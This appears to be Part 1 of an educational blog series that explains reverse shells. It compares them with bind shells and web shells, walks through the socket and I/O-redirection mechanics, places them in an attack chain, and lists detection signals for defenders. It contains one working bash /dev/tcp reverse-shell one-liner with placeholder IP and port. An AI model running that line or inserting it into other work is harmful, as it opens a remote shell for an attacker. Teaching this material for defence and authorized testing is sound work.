Reverse Shells Explained: The Complete Foundation

If you’re getting into penetration testing, bug bounties, or defensive security, you’ll run into reverse shells almost immediately. They show up in CTF challenges, pentest reports, incident investigations, and threat intelligence write-ups.

But most guides jump straight into one-liners without explaining why any of it works. This post fixes that. No commands to run yet - just the concepts you need so the hands-on stuff in Part 2 actually makes sense.

What Is a Shell?

Before reverse shells, let’s be clear about what a “shell” is.

A shell is a program that takes your commands, interprets them, and tells the operating system what to do. When you open a terminal on Linux and type ls, you’re talking to a shell - usually bash, zsh, or sh.

Shells are how humans interact with computers at a system level. They’re also how attackers interact with compromised systems.

When we talk about “getting a shell” in security, we mean: gaining the ability to run commands on a target system as if we were sitting at its keyboard.

Shell Types: The Family Tree

There are several ways to get a remote shell on a system. Understanding the differences matters.

Bind Shell

The target machine opens a port and listens. The attacker connects to it.

Attacker ──connect──▶ Target:4444 (listening)

Analogy: The target opens a door and waits for someone to walk in.

Problem: Firewalls. Most systems block incoming connections on random ports. If the target is behind a corporate firewall, NAT, or any reasonable network security, the attacker can’t reach that listening port.

Reverse Shell

The target connects outward to the attacker’s machine, which is listening.

Attacker:4444 (listening) ◀──connect── Target

Analogy: The target walks out through its own front door and comes to the attacker.

Why this works: Most firewalls allow outbound connections. Systems need to reach the internet for updates, APIs, DNS, web browsing. A reverse shell rides that same outbound path.

Web Shell

A script (PHP, ASP, JSP) uploaded to a web server. The attacker interacts through HTTP requests - typically through a browser or curl.

Attacker ──HTTP request──▶ Web Server (runs uploaded script)
        ◀──HTTP response──

Not a real shell in the traditional sense. No persistent connection, no interactive session. More like remote command execution over HTTP. Often used as a stepping stone to get a reverse shell.

SSH / RDP / Remote Access

Legitimate remote access tools. If an attacker gets credentials, they can just log in normally. Not technically a “shell exploit,” but worth mentioning because the end result - remote command execution - is the same.

Why Reverse Shells Dominate

Of all these options, reverse shells are the most commonly used in real attacks and pentests. Here’s why:

1. Firewalls Allow Outbound Traffic

This is the main reason. Network security is overwhelmingly focused on blocking inbound connections. Outbound? Usually wide open, or at least permissive enough.

A server needs to:

Resolve DNS (port 53)
Download updates (ports 80, 443)
Reach APIs and external services

Reverse shells exploit this asymmetry. The connection looks like the server is just… talking to something on the internet. Which it does all the time.

2. NAT Traversal

Many targets sit behind NAT (Network Address Translation). They share a public IP with other devices. Connecting to them from outside is impossible without port forwarding. But they can connect out just fine.

Reverse shells bypass NAT entirely because the target initiates the connection.

3. No Listening Port to Detect

Bind shells leave a port open on the target. Port scans, security monitoring, and host-based firewalls can all spot this. A reverse shell creates a connection that looks like normal outbound traffic - harder to detect, harder to block.

4. Simple to Set Up

A reverse shell can be a single line of code. No file to upload (sometimes), no software to install. If the target has bash, python, or perl - which most Linux systems do - you already have everything you need.

How Reverse Shells Actually Work

Under the hood, every reverse shell does the same four things. The language changes, the method changes, but the steps are always:

Step 1: Create a Network Connection

The target opens a TCP socket and connects to the attacker’s IP and port. This is standard networking - the same mechanism your browser uses to reach a website.

Step 2: Redirect Input/Output

This is the key concept. Every process in Unix/Linux has three standard streams:

Stream	File Descriptor	Purpose
stdin	0	Input (keyboard)
stdout	1	Output (screen)
stderr	2	Error messages (screen)

Normally, stdin comes from your keyboard and stdout/stderr go to your screen. A reverse shell redirects these streams to the network socket instead:

stdin → reads from the network (attacker’s commands)
stdout → writes to the network (command output)
stderr → writes to the network (error messages)

Now the attacker’s keyboard is the input and the attacker’s screen is the output. The shell on the target is running, but its I/O is flowing over the network.

Step 3: Spawn a Shell Process

Start /bin/bash, /bin/sh, cmd.exe, or powershell.exe with its I/O connected to the network socket from Step 2.

Step 4: Interactive Session

The attacker types a command → it travels over the network → arrives at the target’s shell as stdin → the shell executes it → output goes back over the network → appears on the attacker’s screen.

That’s it. Every reverse shell, from a one-liner to a sophisticated C2 framework, is doing these four things.

Where Reverse Shells Fit in an Attack

Reverse shells don’t exist in isolation. They’re one step in a larger attack chain.

The Typical Flow

1. Reconnaissance     → Find a target, identify services
2. Exploitation       → Find and exploit a vulnerability
3. Code Execution     → Run something on the target
4. ▶ Reverse Shell    → Get interactive access
5. Post-Exploitation  → Enumerate, escalate privileges
6. Persistence        → Maintain access
7. Lateral Movement   → Spread to other systems

The reverse shell sits at step 4. It’s the bridge between “I can run a command” and “I have ongoing interactive access.”

Important distinction: a reverse shell itself isn’t an exploit. It’s what happens after exploitation. The vulnerability gives you code execution. The reverse shell gives you a usable session.

Real-World Examples

Web application RCE: An attacker finds a command injection vulnerability in a web app. They inject a reverse shell one-liner. The web server connects back to the attacker. Now they have shell access as the web server user.

Phishing: A user opens a malicious document. The macro executes a PowerShell reverse shell. The workstation connects to the attacker’s C2 server.

Exploit chain: An attacker exploits a vulnerability in an internet-facing service. The exploit payload is a reverse shell. Instant interactive access.

Who Uses Reverse Shells

Penetration Testers

Reverse shells are a standard part of the pentest toolkit. After exploiting a vulnerability during an authorized engagement, a pentester uses a reverse shell to demonstrate the impact: “I have command execution on your server.”

Red Teams

Red team operations simulate real adversaries. Reverse shells (usually through C2 frameworks that abstract them) are how red teamers maintain access during multi-day or multi-week engagements.

CTF Competitors

Capture The Flag competitions frequently feature reverse shell challenges. Binary exploitation, web exploitation, and miscellaneous categories all use them.

Threat Actors

Real attackers use reverse shells constantly. From commodity malware to advanced persistent threats, the principle is the same. The implementation varies - custom malware, encrypted channels, DNS tunneling - but the concept of “target connects back to attacker” is universal.

Defenders

Blue teamers need to understand reverse shells to detect and respond to them. You can’t write detection rules for something you don’t understand.

Key Concepts to Understand

Before moving to the hands-on guide, make sure you’re comfortable with these:

TCP Sockets

A socket is one endpoint of a two-way communication link. When we say a reverse shell “opens a TCP connection,” it’s creating a socket that connects to the attacker’s listening socket. Standard networking.

File Descriptors and I/O Redirection

The core mechanism. File descriptors 0, 1, and 2 (stdin, stdout, stderr) get redirected from the terminal to the network socket. This is why a one-liner like bash -i >& /dev/tcp/IP/PORT 0>&1 works - it’s just redirecting I/O.

Listeners

The attacker needs something to catch the incoming connection. Tools like netcat, socat, or metasploit act as listeners - they open a port and wait for the target to connect.

TTY vs Non-TTY Shells

A raw reverse shell gives you command execution but not a full terminal. No tab completion, no arrow keys, Ctrl+C kills your session instead of the running command. Upgrading to a TTY shell fixes this. You’ll do this in Part 2.

Encrypted vs Plaintext

Basic reverse shells send everything in cleartext. Anyone sniffing the network sees every command and every output. In real engagements, you need encryption (TLS/SSL). Tools like socat and ncat support this natively.

Common Misconceptions

“Reverse shells are malware” - No. A reverse shell is a technique, not a piece of malware. The same tools used legitimately (netcat, socat, bash) are used for reverse shells. Context determines whether it’s authorized testing or an attack.

“You need special tools” - Most reverse shells use tools already on the target system. Bash, Python, Perl, PHP - these are standard installations. That’s part of what makes reverse shells so effective.

“Reverse shells are hard to detect” - Basic ones aren’t. A bash process connecting outbound to a random IP on port 4444 is suspicious and detectable. Sophisticated ones (encrypted, over DNS, through legitimate-looking traffic) are much harder.

“A reverse shell means full access” - Not necessarily. You get a shell as whatever user the exploited process was running as. A web server exploit gives you www-data privileges, not root. Privilege escalation is a separate step.

The Defense Perspective

If you’re on the blue team, here’s how reverse shells look from your side:

Network level:

An unexpected outbound TCP connection from a server
Persistent connection to an unusual IP
Interactive-looking traffic patterns (small bursts of data, back and forth)

Host level:

A web server process spawning /bin/bash
Processes with stdin/stdout redirected to network sockets
Named pipes or unusual file descriptors in /tmp

Process level:

Process trees that don’t make sense (apache → bash → whoami)
Unusual parent-child relationships
Scripting interpreters (python, perl) launched by service accounts

We’ll cover specific detection techniques, SIEM rules, and audit configurations in Part 2.

What’s Next

Now you understand:

What reverse shells are and how they differ from bind shells and web shells
Why they’re the preferred method (firewall bypass, NAT traversal, simplicity)
How they work under the hood (sockets, I/O redirection, shell spawning)
Where they fit in an attack chain
Who uses them and why

The next post in this series is where you get your hands dirty. We’ll set up a lab, run reverse shells in multiple languages, upgrade them to full TTY sessions, add encryption, and then flip to the blue team side to detect everything we just did.

References

You don’t get good at defense by ignoring offense. Learn how shells work, then learn how to catch them.

Ground Up: Attacker's Playbook